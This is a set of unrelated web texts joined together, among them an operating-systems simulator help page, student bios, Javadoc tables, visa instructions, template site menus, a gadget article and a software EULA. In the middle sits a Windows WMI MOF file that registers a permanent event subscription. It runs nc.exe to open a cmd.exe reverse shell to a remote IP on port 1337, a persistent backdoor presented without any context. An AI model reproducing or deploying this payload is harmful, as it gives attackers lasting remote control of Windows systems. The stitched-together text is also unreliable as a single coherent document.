educational purpose application to graphically simulate Operating
System concepts and support the computer science students learning process.
Specifically, the application is divided into four blocks or independent
simulations: process scheduling, memory management, file system
management and disk scheduling policies.
Beyond trying to describe complex real systems, it focuses on the
fundamental Operating Systems concepts as they are explained to computer
science students, including the main algorithms and their most relevant
parameters.
It also has a number of examples and exercises with the corresponding
simulations to be able to explore all application potential.
The current application version is 1.2.
It is freely available for any use under the BSD license.
The Welcome screen allows direct access to each of the simulations, later it is possible to come back from File menu.
Process Scheduling |
Memory management |
File System |
Disk Scheduling |
Most menu actions are available through the keyboard shortcuts shown below:
|
Action |
Shortcut |
|
Exit |
CTRL + E |
|
Open a saved simulation |
CTRL + O |
|
Save a simulation |
CTRL + S |
|
Open process scheduling |
CTRL + P |
|
Open memory management |
CTRL + M |
|
Open file system management |
CTRL + I |
|
Open disk scheduling policies |
CTRL + D |
|
Help |
F1 |
|
About ... |
CTRL + A |
At the moment the application is available in three languages:
The simulation focuses on short-term processes scheduling
with a single processor, its objective is to select one of the available
processes to run on the processor.
A process execution involves alternating cycles of CPU and I/O bursts
(CPU and I/O Burst Cycle). A process is available only during a CPU
bursts.
The simulation is based on the three-state model, which defines three
process states and its possible transitions: Running, Waiting (or Ready)
and Blocked.
At any moment only one process is running, other processes are waiting in the ready queue until the scheduler selects them, or are blocked doing I/O operations.
Scheduler decisions depend mainly on two factors: the scheduling
algorithm and multiprogramming. The user can choose four different
algorithms: FCFS (First Come First Served), SJF (Shortest Job
First), Priority and Round Robin, and may also indicate if you want a
monoprogramming or multiprogramming system.
Scheduling algorithms differ in how they select the next processes to
execute:
Round Robin. This algorithm was designed especially for time-sharing systems, a unit of time called quantum limits the time that processes can run every time they enter the processor, when quantum timeout processes queue up again.
Preemptive algorithms: running processes can be forced to leave the processor to another more privileged process before completion. Otherwise the algorithms are not preemptive or cooperative.
Further information
http://en.wikipedia.org/wiki/Scheduling_
(computing)
http://en.wikipedia.org/wiki/Computer_multitasking
Can be idle (free) or busy, in this case it shows the running
process, its relevant information (PID, name, priority) and the complete
life cycle (CPU and I/O bursts).
Each box of the burst cycle corresponds to a simulation time unit, in red it
shows where in cycle is the process.
The running process leaves the processor when finish, returns to the
ready queue or start an I/O burst.
Contains the processes available to execute (waiting).
The queue is always ordered depending on the scheduling algorithm (first
right, last one left):
For each process it shows the most relevant information (PID,
name, priority) and the complete life cycle (CPU and I/O bursts).
Each box of the burst cycle corresponds to a unit of simulation time, in red
it shows where in cycle is the process.
While the simulation is stopped, right-click on any process to display popup
menu that lets you modify and delete the process.
Processes only leave the ready queue to come into the processor.
Criteria in the entry order of processes in the queue after starting the simulation: new processes (incoming) -> processes that complete I/O -> processes that leave the CPU
Processes that start later (time start > 0) are placed in this
queue. As the simulation progresses and the time comes to start, they enter
the ready queue.
This queue allows the user to plan the whole simulation and then run it
completely without further intervention.
Processes are sorted by remaining time to start, (or remaining time to
enter the ready queue).
While the simulation is stopped, selecting any process from the table shows a popup menu that lets you modify and delete the process.
Sets simulation behaviour:
Round Robin: It is always preemptive, the quantum is the maximum time a process can run continuously. Possible values: 1 to 10 time units.
Processes can only be added while the simulation is stopped, for each new process enter the following information:
Burst cycle, the table allows you to specify the duration of CPU and I/O bursts, each row is a time unit, all processes necessarily start with a CPU burst besides if complete, the last burst must also be a CPU. Maximum process duration is 10 time units.
Settings are only available while the simulation is stopped
See resulting scheduling information at any time of the simulation.
Aggregate data are:
For each process there is a table with the following information
The simulation shows the load of processes in main memory according to different memory management systems. In addition it offers simplified versions of swapping and virtual memory behaviours.
The memory management algorithms are divided into two groups:
Includes two possible management algorithms:
Variable-sized partitions, the memory at the beginning is all available, for each process partition exactly the size of this is created, as the process is complete, the partitions are released and can be reused. Released partitions generate external fragmentation.
Another concept of interest is the allocation policy, how the operating system selects one of the available partitions, application provides the most common:
The processes are allocated into main memory, either whole or
divided in pages or segments.
By definition in any of the memory management systems, there is always a
first process loaded, occupying the base addresses, the Operating
System, the size of which can vary between 1, 2 or 4 units.
Addresses, processes, partitions available or allocated are always shown,
also, fragmentation following a color code that allows a quick
understanding of it state.
|
Colors: |
Meaning |
|
gray |
Operating System |
|
white |
Unpartitioned memory |
|
blue dots |
Internal fragmentation |
|
pink dots |
External fragmentation |
|
[Other colors] |
Processes, their own color |
The memory size of the simulation varies between 64 and 256 units.
Right click on memory to display the pop up menu that lets you perform various actions:
During simulation time and for each allocated process into memory, delete the process, swap out, open address translation, see its detailed information (only pagination and segmentation) and defragment memory (only for partitions of variable size and segmentation) .
Contains the processes available to be allocated into memory ordered by their arrival to the queue.
For each process it shows the most relevant information (PID,
name and duration that may be infinite), besides the size and its
distribution, where each box corresponds to one unit of space, which is
allocated to a single memory address.
In pagination and segmentation the process differentiates components, pages,
or segments, and highlight in gray the ones that are not initially
allocated into memory but directly to swap.
While the simulation is stopped, right click on any process to display a
pop up menu that lets you update and delete.
Sets simulation behaviour:
Any change of algorithm, memory size or OS size requires restarting the simulation and deletes all existing processes.
Processes can only be added while the simulation is stopped, for each new process enter the following information:
Color, color that will draw the graphic elements associated with the process.
Addition in pagination is shown:
And in segmentation is shown:
Shows memory allocation information at any simulation time. This information varies from one algorithm to another.
Contiguous memory management, table with the following information
(If the partition contains a process)
Duration of the process.
In pagination, a table with the following information is shown
(If the partition is busy)
Duration of the process.
In segmentation, is a table with the following information
(If the partition contains a process)
Duration of the process.
Shows memory allocation information of a process in non contiguous memory management.
In pagination, table's content is
In segmentation, table's content is
Simply indicate starting address and partition size .
Partitions can not overlap, nor can they terminate beyond the end of memory.
Variable-sized partitions and segmentation have in common that partitions are created dynamically and are sized to accommodate exactly these processes or segments, therefore Operating System selects a greater or equal partition and generally divide it into two parts, in one we allocate the process or segment and the other remains available.
Once released (because the process is complete or has been swapped out), it is newly available and so on, the available partitions become smaller and the memory is degraded.
Defragmantation process solves it reorganizing the memory, comprises all the processes in the lower areas of memory and then creates a partition as big as all the available memory.
This is an OS responsibility, it is left to the user in the simulation (pop up menu from memory).
Swapping (or backing store) allow running more processes than can fit in main memory and is usually implemented in secondary memory.
The idea is based on having an extra space where to move processes or parts of them (pages or segments) less active and reallocate them when necessary.
Simulation simplifies this, delegating swap in and out between memory and swap to the user manually.
Swap out from memory's pop up menu(right click on memory). Swaps out a process or a part of this.
Swap in, from memory's pop up menu(right click on memory). Try to swap in a process or part of it to memory, if the memory is full it generates an error and does not swap in.
The pagination and segmentation algorithms allow to initially swap out pages or segments. This area is not limited on the amount or size of the processes it contains.
The file system manages the relationship between the logical space as the user sees (files, directories, links) with the corresponding structure and physical location (real) objects in secondary memory.
The minimum work unit of file system is the block, memory and file system objects are divided into blocks of the same size, and the system management is to allocate those object blocks into available blocks of secondary memory and to maintain the control.
The simulation implements the two main techniques for File System Management:
Indexed allocation with three levels of indirection (UNIX systems).
The simulation parameters are:
The first 128 disk blocks are not used to simulate the OS administrative tasks and are not used.
The two File System Management algorithms are:
The single indirect block points to data blocks, double indirect block
point to blocks which in turn point to data blocks and triple indirect
blocks point to blocks that point to block that point to data blocks.
To create new files first i-node data blocks are used, then the single
indirect , double and triple blocks to fill the information required
depending on the file size. For simplicity folders occupy a block (of
data), and links none.
Reference http://es.wikipedia.org/wiki/Inodo
In the simulation the maximum number of i-nodes that can be created are 128, indirect blocks have 20 pointers. In the table below shows how to calculate the blocks needed to create a file.
|
Available Data blocks |
Administration Blocks |
Total data Blocks |
|
Total Blocks |
|
|
One i-node |
12 blocks |
Head |
12 |
0 |
12 |
|
First |
Past more ... |
1 indirect block |
32 |
1 |
33 |
|
Second |
Past more ... |
1 indirect block |
432 |
22 |
454 |
|
Third |
Past more ... |
1 indirect block |
8.432 |
433 |
8.875 |
Displays the file system as seen by users, the folder tree, and files, links and subfolders within each folder. The (root) depends on the file system manager, UNIX is "/" MD-DOS is "C:\".
Right click on any object to display the pop up menu that lets you perform various actions:
Remove the object.
Shows the device (physical file system) divided into blocks, and at its right disk addresses.
The initial addresses (128 units) are reserved for OS administration tasks and are not used.
The blocks are painted in different colors depending on its type:
|
Colors: |
Block use |
|
black |
Administration (File System) |
|
white |
Available |
|
Green |
Folder |
|
Blue |
Soft link |
|
[Other colors] |
Occupied by a file |
This view depends on the selected folder logical file system displays the contents of this folder, each object is drawn with the corresponding color: file (file varies according to color), links (blue), folders (green).
For any object it indicates its reference to the physical file system . For UNIX object's i-node, for MS-DOS initial entry in the FAT table.
Right click on any file system object to display a pop up menu that allows you to view the object's detailed information .
Sets the simulation's behaviour:
Indexed allocation with triple indirection (UNIX).
Any change of algorithm, block size or memory size requires restarting the simulation and deletes all existing objects.
The file is added to the folder that is currently selected, for each new file you must enter the following information:
Color, color that will draw the graphic elements associated with the file.
The folder is added to the folder that is currently selected,
It is only necessary to indicate the new folder's name (required).
The link is added to the folder that is currently selected for each new link it is necessary to enter the following information:
Target, link target.
From the folder view, user can open detailed information of any object within the folder, this information depends on the file system.
UNIX shows i-node structure:
Type: "block" if data or "indirection" if it is indirect.
For MS-DOS displays the FAT table entries for the object:
Next object's block number or "nil" if last.
Shows the device's information. This information varies from one algorithm to another.
In UNIX, shows a table with all device data blocks, for each block:
In MS-DOS, shows the FAT table, that is a snapshot of all the device's blocks, each table entry contains the following information:
It is the disk scheduling policies within Operating System I/O devices management.
Despite their heterogeneity, optical or magnetic disk, rigid or flexible, read-only or read / write CD, DVD's or HHD for example, the whole can be treated similarly.
Disks are organized in sectors, they are grouped into tracks, the tracks are on one side or surface on a platter, and each disk can have several platters.
Reference http://es.wikipedia.org/wiki/Disco_duro
The set of tracks that are in the same head position are called cylinders. The platters rotate constantly and each one has one head just above, that reads and writes sectors, heads move perpendicular to the tracks.
Disk sectors are referenced sequentially, the first sector is 0, and it is in the first track of the first platter in the outer cylinder.
In the simulation disk geometry is: a platter, 16 cylinders, 12 sectors per cylinder, totally 192 sectors or data blocks.
The Operating System constantly receives requests to write and read from disk, how to serve these requests is defined by the disk scheduling policy.
A good scheduling policy should minimize head movement, which means a longer life for the device, and requests-to-response time.
In the simulation there are available the following scheduling policies:
FIFO. Fist In First Out This scheduling is quite simple, serves requests in strict order of arrival. The head moves always looking for the next request wherever it is, do not try to minimize head movement but it's correct because it does not prioritize any request.
LIFO. Last In First Out unlike FIFO, serves requests in the reverse order of arrival, the last came first served. The latest requests are served immediately, but may cause starvation, the first requests will never be served if new ones are arriving constantly.
STF. Shortest (Seek) First Time always serves first closest request to head's position. Such scheduling minimizes head movement, but can also cause starvation.
SCAN. Also called "Elevator", head moves from the outermost cylinder to the innermost when it reaches the end it changes direction and returns to the beginning, and so on indefinitely. Handle requests when they turn up during its movement.
C-SCAN. Circular SCAN. Same as SCAN, the difference is that when it reaches the inner cylinder at the disk end's, it moves directly to the beginning and starts again, so always handle requests in the same direction. Improving one of the SCAN drawbacks, which goes over track that have just been seen when it changes direction.
LOOK. Is a variation that improves SCAN scheduling, the difference is that it only goes up to the last request and not until the last cylinder. At the moment it detects that there are no more requests forward, then it changes direction.
C-LOOK.Circular LOOK. Includes both LOOK and C-SCAN improvements only go up to the last request and also when it reaches the outer, moves to the first one and starts again, it always serves requests in the same direction.
Shows sectors and cylinders disk divisions.
The sector 0 (first) is at outermost cylinder, above and right of vertical.
At any simulation time head position is shown in black, and requests in the corresponding color
While the simulation is stopped, right-click on any request to display a pop up menu that allows you to modify and delete.
The graph represents head motion through cylinders as the requests are served.
In the x-axis cylinders and ordinate the time.
Each served request is marked with a dot (appropriate color) indicating the cylinder where the sector is served and the time, points are joined with lines that represent head movement through the cylinder.
View all the requests, the information in the table is as follows:
Requests can be in three different states:
Served are shown first, then those that are waiting and finally those that have not yet arrived.
While the simulation is stopped, right-click on any request to display a pop up menu that allows you to modify and delete.
Sets simulation behaviour:
Settings are only available while simulation is stopped
Requests can be added only while the simulation is stopped, for each new request must enter the following information:
Additionally, the system calculates and shows cylinder that corresponds with requested sector.
While the simulation is stopped, users can save their simulations and open them later to complete, review, etc ...
Saves all simulation objects and settings.
It is not possible to open nor save simulations while running OS Sim as an Applet has some limitations due to java security issues.
To manage simulation progress, normal run, step by step (a unit of time each step), stop and restart the simulation.
Additionally you can vary speed rate from 0.5 seconds to 2 seconds per unit time.
Simulation time is always shown.
| Content | ||
|
Simple FIFO scheduling example |
||
|
SJF scheduling non preemptive |
||
|
Priority scheduling preemptive |
||
|
Round Robin scheduling (quantum: 2) |
||
|
Multiprogramming I/O |
||
|
Monoprogramming I/O |
| Content | ||
|
Contiguous memory management with fixed-size partitions (first adjustment) |
||
|
Contiguous memory management with fixed-size partitions (best fit) |
||
|
Contiguous memory management with variable-sized partitions (Defragmentation) |
||
|
Contiguous memory management with variable-sized partitions (Swap) |
||
|
Pagination |
||
|
Segmentation, partial allocation |
| Content | ||
|
Linked Allocation with FAT. File System objects |
||
|
Linked Allocation with FAT. Large block size |
||
|
Indexed Allocation (UNIX). References to i-nodes |
||
|
Indexed Allocation (UNIX). Indireccions |
| Content | ||
|
Fair scheduling. FIFO |
||
|
STF scheduling example. Starvation |
||
|
The elevator (SCAN) |
||
|
The improved elevator 1. Circular SCAN |
||
|
The improved elevator 2. LOOK circular |
| Content | ||
|
Ready queue order |
||
|
Multiprogramming or monoprogramming? |
||
|
Differences between premptive and non preemptive scheduling |
||
|
Scheduling algorithms performance comparison |
| Content | ||
|
Fixed-sized partitions, allocation policies |
||
|
Variable-sized partitions, address translation |
||
|
Pagination |
||
|
Segmentation |
| Content | ||
|
Linked Allocation, FAT |
||
|
Indexed Allocation, UNIX |
| Content | ||
|
Algorithm comparison |


#pragma namespace ("\\\\.\\root\\subscription")
instance of __EventFilter as $FILTER
{
Name = "CLASS_FIRST_TEST";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceCreationEvent "
"WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND "
"TargetInstance.LogFile=\"Application\"";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $CONSUMER
{
Name = "CLASS_FIRST_TEST";
ScriptingEngine = "VBScript";
ScriptText =
"Set objShell = CreateObject(\"WScript.Shell\")\n"
"objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe <IP_ADDRESS> 1337 -e C:\\Windows\\system32\\cmd.exe\"\n";
};
instance of __FilterToConsumerBinding
{
Consumer = $CONSUMER ;
Filter = $FILTER ;
};


I am a graduate student currently obtaining a Certificate in Geoinformatics from the University of Iowa. My prior education includes a Bachelor of Business in Economics from Western Illinois University, and a Master of Public Affairs (with a concentration in Sustainability and Sustainable Development) from the Paul H. O’Neill School of Public and Environmental Affairs at Indiana University. My passion is for improving communities and ecosystems through data analysis. More specifically, I am interested in identifying effective policies for developing sustainable transportation systems and green infrastructure (e.g. street trees, parklets, and bioswales) at the local government level. In my spare time, I play the French horn and the piano; I enjoy classical, jazz, R&B, rock, and folk music, as well as improvisational works.


| Modifier and Type | Method and Description |
|---|---|
VariantResolver |
GeneratorRegistry.getVariantResolver(String variantType)
Returns the variant resolver corresponding to the variant type given in
parameter
|
| Modifier and Type | Method and Description |
|---|---|
void |
GeneratorRegistry.registerVariantResolver(VariantResolver resolver)
Register a variant resolver
|
| Modifier and Type | Class and Description |
|---|---|
class |
AbstractCssSkinVariantResolver
The class defines the abstract class for skin variant resolver, which is used to determine
the current skin from the HTTP request.
|
class |
CssSkinVariantResolver
The skin variant resolver is used to determine the current skin from the
cookie set in the request.
|
| Modifier and Type | Class and Description |
|---|---|
class |
LocaleVariantResolverWrapper
This class defines the variant resolver wrapper for locale resolver
|
| Modifier and Type | Class and Description |
|---|---|
class |
BrowserResolver
This class defines the browser variant.
|
class |
ConnectionTypeResolver
This class defines the URL scheme resolver.
|
Copyright © 2014. All rights reserved.


OpenEMR is in need of funding for new development efforts that will benefit outpatient and inpatient users alike. Features include hybrid inpatient/outpatient support, advanced billing, Fast Healthcare Interoperability Resources (FHIR) integration, modern cloud offerings, ability to perform quality reporting, low-cost medical devices connectivity, and other commonly requested solutions. Our vibrant community is dedicated to responding to user needs and setting our priorities to be consistent with the requests of our colleagues abroad.


For classes that only have static methods, consider making them utility classes. Note that this doesn't apply to abstract classes, since their subclasses may well include non-static methods. Also, if you want this class to be a utility class, remember to add a private constructor to prevent instantiation. (Note, that this use was known before PMD 5.1.0 as UseSingleton).
This rule is deprecated, use {rule:squid:S1118} instead.


{% extends 'core/base.html' %} {% block title %}Contact Us | {% endblock %} {% block content %} Get in Touch with Us contact us We’re here to help and answer any question you might have. We look forward to hearing from you 🙂 Phone No. +91<PHONE_NUMBER> E-mail<EMAIL_ADDRESS>Address Kesarinath Buva Bhaye Marg, Koliwada, Worli, Mumbai, Maharashtra 400030, India Opening Hours Monday - Friday (9:00 AM to 5:00 PM) {% endblock %}
We’re here to help and answer any question you might have. We look forward to hearing from you 🙂


If you are still unsure about whether or not you have to pay the SEVIS fee, please review the Immigration and Customs Enforcement (ICE) website. You may also contact us at<EMAIL_ADDRESS>with questions.
Please Note: You cannot pay at the Port of Entry.
At least three business days prior to the visa interview date for electronic and Western Union submissions (We recommend paying as early as possible).
An electronic receipt will be printable upon completion of an online payment; or
Western Union will provide a receipt upon completion of payment.
Please take your receipt with you when you apply for a visa or enter the United States. You may be asked to show it at the Port of Entry.
For more information, you can visit the US Immigration and Customs Enforcement's website
at http://www.ice.gov/sevis/i901 or schedule an appointment with an International Student Advisor.
In order to apply for US entry visa in F or J status, you will need to gather some documentation before scheduling an appointment with the US embassy in your home country.
Consulates now require an in-person interview for most visa applicants. We recommend that you apply for a visa as far in advance as possible since visa issuance can sometimes take up to 3 months depending on the required security clearances. Please review the information below designed to assist you with the visa application process.
There is further information about visa applications and fees at the Department of State’s website: www.travel.state.gov.
You will be required to present the following documents at the visa interview:
Be prepared to show that you have significant ties to your home country and that you will return there after completing your studies in the United States.
If you are preparing to study in a field that the consular officer may consider “sensitive” to the national security of the United States, please plan to apply for a visa well in advance and be prepared for potential delays. Students in fields such as biochemistry, cell & molecular biology and electrical engineering, for example, are sometimes subject to these security clearances.
We recommend reviewing the following website for information: http://educationusa.state.gov
Whether entering the United States from land or air, you should be prepared to show the following documents at the port of entry:
Please note:
If you have an initial attendance I-20 or DS-2019, you must enter the United States within the 30-day period before the program start date on your form. You will not be allowed to enter the US if you arrive earlier. If you hold a “transfer pending” I-20 document, you may return to the United States at anytime after a short visit home as long as page 3 of the I-20 Form is endorsed for travel.
Do not enter the the US using a B-1/B-2 (tourist) visa, or tourist visa waiver. Changing your status to F-1 or J-1 within the US is extremely difficult and rarely approved.
After you have entered the United States, you will want to go online to verify the status of your I-94 and that you have been filed as entering on the correct visa type. You can access it at https://i94.cbp.dhs.gov/I94 and you will be asked to bring a print-out of this page to document check-in.


Hey! My name is Akarsh and I'm a programmer aspiring to dive heavily into the fields of computer engineering, machine learning, and, later on in my research career, theoretical physics and mathematics.
I am currently a Computer Engineering and Physics major at UT Austin in the class of 2022. I hope to pursue an education, research, and career in computer science, physics, and math. I immerse myself in these fields whenever possible driven by my curiosity with them. Although they may seem like completely different topics, they all try and describe the underlying nature of the universe in different ways. I see math as a universal native language of the universe, physics as a real implementation of mathematical systems and ideas, and computer science as a convenient tool to explore mathematical realms further (as well as introduce new math concepts like complexity theory). I want to pursue a PhD in one or two of these subjects and help our species understand the world better.
Born in India, my family moved to the United States in 2005 where we lived in Arkansas, Florida, Iowa, and now Texas. I went to the Arkansas School for Mathematics, Sciences, and the Arts, where I discovered my love for computer science, physics, and math through classes like Algorithms and Data Structures, Modern Physics, Astrophysics, and Differential Equations. My dad is a civil engineer in the Irving area, while my mom is a college professor. My 22 year-old brother recently graduated with a degree in computer engineering from the University of Toronto and is now attempting to start his own company.
Thanks for visiting! Check out my website below.
Downloads:
Akarsh Kumar Resume
Description:
In the summer of 2019, I wrote a program that uses genetic algorithms to train and evolve Neural Networks.
Genetic Algorithms are a form of evolutionary computing that starts out with a lot of different random solutions to a problem, called "organisms", and mutates and breeds the best of those solutions to produce the next generation. Over a large amount of generations, the best solution/organism will arise in the population.
This is a great way to search through an optimzation landscape: by searching and mixing the most promising solutions until an optimum is found. In a large number of problems (like the traveling salesman problem and others illustrated below), genetic algorithms will converge on a handful descent solution relatively quickly.
Neuroevolution is a form of genetic algorithms where the solutions/organisms are "DNAs" (information) to create a neural network, or to simplify are neural networks. Over numerous generations, the NN's gain complexity and neurons. Mutating involves either growing the network and/or changing the weights associated with the connections. Breeding neural networks involves an complex process with innovation numbers and keep track of the evolutionary history of the NNs in order to produce a clear offspring of two neural networks.
This process is called Neuroevolution of Augmenting Topologies and was invented at UT Austin by Neuroevolution researchers. This is much different from the classical way to train NNs with gradient descent because you don't need to know the output for a given input of the neural network; you only need to know how "good" a certain NN is (the fitness function).
I implemented this from scratch in Java and trained to find a model for Flappy Bird the game.
Reading and understanding research paper, intense mathematical calculations, optimization problem, abstraction for any dataset, visual display.
Description:
During the summer of 2018, I created this abstract deep neural network that can find an association between any two sets of data using a stochastic gradient descent approach. This neural network was built from complete scratch and was trained to recognize handwritten digits and number of veritcal and horizontal lines in an image (as well as find a pattern in the primes, but that failed).
Intense mathematical calculations, optimization problem, multithreading, abstraction for any dataset, visual display.
Description:
During the 2018-2019 school year, I learned about and instantly got fascinated by genetic algorithms. I wrote my own implementation in Java.
Genetic Algorithms are a form of evolutionary computing that starts out with a lot of different random solutions to a problem, called "organisms", and mutates and breeds the best of those solutions to produce the next generation. Over a large amount of generations, the best solution/organism will arise in the population.
This is a great way to search through an optimzation landscape: by searching and mixing the most promising solutions until an optimum is found. In a large number of problems (like the traveling salesman problem and others illustrated below), genetic algorithms will converge on a handful descent solution relatively quickly.
I first used my genetic algorithm to find an optimal solution to the traveling salesman problem. I arranged a solution as being a permutation of the indexes of the cities. After mutating and breeding, it found a very good solution. (The fitness function was negative the total distance)
The second instance of my genetic algorithm was used during a hackathon (TAMUHack) to find the optimal keyboard layout to increase typing speed and reduce typing effort. I used genetypes depecting the permutation and ordering of keys on the keyboard and had a fitness function that evaluated how much "work" it took to type out a whole book using that keyboard solution. After many generations, it found an optimal keyboard layout.
I implemented this from scratch in Java.
Reading and understanding research paper, optimization problem, abstraction for any dataset, visual display.
Description:
Created a Java desktop application that parses mathematical text into a logic tree (can be used to evaluate the expression as well as take the derivative of it, etc). Used this computer algebra system to render functions in a movable and scalabe graphical output.
Multithreading, Java Swing graphics, Equation trace, Support for multiple graphs in one plot, Math parser (String to Binary Tree), Interactive drag UI.
Description:
Physics-based project that was conducted as part of the Fundamentals in Research Methods (FIRM) program at ASMSA. The goal is to optimize photovoltaic cells for monochromatic laser light. Applications include but are not limited to laser power beaming and fiber optic energy transfer. In a nutshell, I worked on “tuning” the bandgap frequency of the semiconductor in the PV cell to the laser’s frequency. I used Shockley and Queisser’s techniques (“Detailed Balance Limit of Efficiency of PN Junction Solar Cells”) to find the theoretical maximum efficiency of a laser-PV cell system using mathematics. I am currently continuing this research in bandgaps of semiconductors (using simulations) at UT Austin under Dr. Seth Bank.
Advisor:
Dr. Brian Monson
Concepts:
Black body spectrum, Laser spectrum, Planck’s equation, Semiconductor (PV cells), Photovoltaic effect, Detailed balance limit.
Challenges:
Complex calculus integrations, Combining Shockley and Queisser’s equations for laser applications.
Downloads:
Research Poster
Research Presentation
Research Paper PDF
Description:
Worked with a college student to revive a popular strategy game called Tactics Arena Online that thrived in the 2000s but mysteriously shut down. I was the only programmer on the team. The goal of this project was publish the game online and create a community of players.
Multithreading, IO Streams, File IO, Algorithms (shortest path and sorting), Java Swing graphics, Multiplayer support, Database connections, Action listeners, Java Sockets, Server-client setup, Game mechanics.
Description:
In my favorite programming class (CP3/Algorithms and Data Structures), we made programs that generated and solved mazes, found shortest paths using A*, found the efficiencies of a hashtable and self-balancing binary search tree, and optimized a building scenario. In Graphics Programming, we used Python to alter images with matrix transformations and kernals (guassian blurs, edge/corner detection, etc). We used seam carving reduce image sizes while keeping valuable aspects unchanged and compress images using custom algorithms. I also created my own custom QR code named "akarz" and was able to transfer text information through reading in images with my QR code on them.
Advanced algorithms, Multithreading, Java Swing graphics, Python numpy.
Presentations:
Maze Generation and Solving Algorithms PDF
Path Finding Algorithms PDF
Hash Table PDF
Self Balancing Binary Search Tree PDF
City Simulator PDF
Image Transformations PDF
Image Seam Carving Reduction PDF
Panorama Creation PDF
Image Kernel Alterations PDF
Image Compression PDF
Description:
Created a Java desktop application to keep track of volunteering hours and manage admin access and statistics reports. The application was made for Free Geek, a non-profit technology recycling organization located in Fayetteville.
Storing data offline, File IO, Java Swing library, Professional UI & UX, User logins (ACL, admin, guest accounts).
Contact:
Description:
This Library is an acumulation of all things that I have made that could be useful in the future. It includes everything from neural networks and genetic algorithms to the computer algebra system and graphing library. It also includes functions for useful abstract methods and allows altering arrays in Java to be easier than in Python! Using this library, you can get started with a GUI application much faster than in vanilla Java and makes serialization of objects and managing a program's history state easier than ever. It also includes many useful functions needed for Project Euler and is very diverse in nature.
Combining all programs made from before, abstraction of all methods within (universal use in other applications)
See my source code
Description:
A program for Valentine’s day matchmaking. The project was part of a competition hosted by Fayetteville High School. The program matched couples based on a survey. The algorithm was based on a fair model where the candidates with the lowest chances for a match had priority.
Java Swing library, Algorithm, Storing data on Hard Drive, Interactive UI.
Description:
Made a chess program with programmed rules. Did many computations using this for my grand master friend. Implemented a basic minimax AI to run on this (not fully functional yet).
Java swing graphics library, Algorithm, Interactive UI.
Description:
When I was younger, I attempted to build a perpetually spinning motor using magnets. Obviously, it failed to work, but after a few years, I built a program modeling the behavior of the system. This program let me see the theoretical flaws in the design.
Modeling Calculus with Discrete Computer Loops, Physics Equations, Vector Calculus.
Description:
I have made a "instagram" app called parstagram, twitter client, movie browser, and tip calculator app.
Interacting with backend and fullstack development
Major GPA: 4.00
Weighted GPA: 4.25
ACT: 35
SAT: 1460, SAT Subject: 800 on Math and Physics
I believe math is embedded into nature and is only being discovered by humans. Maybe math is the language of God, or maybe it is the language used by the species simulating our universe. Some people try to argue that math is merely a tool invented by humans to study our universe, but it seems much to useful and elegant for us to have invented it or it to have been a coincidence (Is God a Mathematician?).
Math, physics, computer science (and the logic of computation), are all connected in deep ways that we currently barely understand. Not only are we only starting to learn about these connections, I believe we have uncovered less than 1% of the potential landscape for us to explore. We need to keep studying these fields in rigorous detail to understand the world around us.
Why I study Math, Physics, and Computer Science
There is a certain empowering feeling about completely understanding a physics, math, or computer science idea that I can fully explain. Maybe its because it makes me feel powerful in knowing something. Or maybe because it represents all the innovation and inventions that can result from understand the idea. Sometimes it even feels like a philisophical/religious inquery on our universe mutated into a STEM explanation. Whatever the reason is, it has shaped my career and goals into adventuring through physics, math, and computer science in one way or another.


+ 0123 (456) 789
<EMAIL_ADDRESS>205 Main Street, New York
Home
Home One
Home Two
Home Three
Company
About Us
Team Member
Pricing Plan
Portfolio
Case Study
Error
Services
Projct
Blog
Blog Gird
Blog Left Sidebar
Blog Right Sidebar
Blog Details
Contact
Get Started
+
Home
Home One
Home Two
Home Three
Company
About Us
Team Member
Pricing Plan
Portfolio
Case Study
Error
Services
Projct
Blog
Blog Gird
Blog Left Sidebar
Blog Right Sidebar
Blog Details
Contact
Case Study
Home
Pages
Case Study
What We Do
Discover Best Product
Design Strategy
Product Strategy
IT Service & Solutions
Product Strategy
IT Service & Solutions
Product Strategy
IT Service & Solutions
Product Strategy
IT Service & Solutions
Phone Number
+ 0123 (456) 789
Email Addresr
<EMAIL_ADDRESS>Locations
205 Main Street, USA


Contact
Bio
Live Dates
Photos
Past Shows
Contact
Laura Anne Whitley
email address
Twitter
| fb | insta


My Restaurant
Current Reservations & Waiting List
Home
Make Reservation
Current Reservations
Waiting List
Control Panel
API Table Link
API Wait List


Master's in Music Education and 30+ Years of School Teaching Experience.
Thanks for your message. I'll get back to you right away.


Your details
First name
Last name
School Email
Format:
<EMAIL_ADDRESS>Example:
<EMAIL_ADDRESS>Submit


Striking Distance
Striking Distance is a movie starring Bruce Willis, Sarah Jessica Parker, and Dennis Farina. Coming from a police family, Tom Hardy ends up fighting his uncle after the murder of his father. Tom believes the killer is another cop...


As you ascend the stairs to the second floor of the lobby, you see a large assortment of what appear to be burial urns, possibly lending to some kind of religious symbolism? Looking over the balcony to the floor below, you can just barely discern the letters “C...O...C…” made out by what floor tiles remain. You can’t possible guess what the rest of the letters could be.
These burial urns were used to store the remains of the loyal polar bears who guarded this fortress. The carvings paintings on the urns indicate the bears’ preferred food. As you can see, most of them preferred the sacred nectar as their sustenance, but that one appears to have liked eating people?


Jabra’s Elite 75t wireless earbuds are available now
These earbuds seem like they have really good battery life
by Brad BennettJabra’s high-end wireless earbuds, the Elite 75t, are now available for purchase in Canada at Best Buy.
These truly wireless earbuds offer 28 hours of total battery life with the included charging case, which is about 50 percent more than the headphone’s older sibling, the 65ts. Per charge, users are looking at about seven and a half hours of usage.
Jabra also says the earbuds are dust and water protected with an IP55 rating. This means that while you can’t submerge the earbuds, you can use them if it’s a bit rainy out.
Notably, these headphones feature Bluetooth 5.0, four microphones and the ability to connect to your phone’s virtual assistant.
You can order the Elite 75t earbuds from Best Buy for $239 CAD.
Source: Jabra


Download MyLearnMate 1.0 Beta for Windows XP/Vista/Windows 7
END-USER LICENSE AGREEMENT ("EULA")
IMPORTANT-READ CAREFULLY: This End-User License Agreement ("EULA") is a legal agreement between you (either an individual or a single entity) and DataminingTools Inc. SOFTWARE(s) identified above, which includes the User's Guide, any associated SOFTWARE components, any media, any printed materials other than the User's Guide, and any "online" or electronic documentation ("SOFTWARE"). By installing, copying, or otherwise using the SOFTWARE, you agree to be bound by the terms of this EULA. If you do not agree to the terms of this EULA, do not install or use the SOFTWARE.
1. Freeware
You may use the SOFTWARE without charge. We may place announcement of other products into SOFTWARE. DataminingTools Inc will not monitor the content of your use (e.g., sites selected or files used).
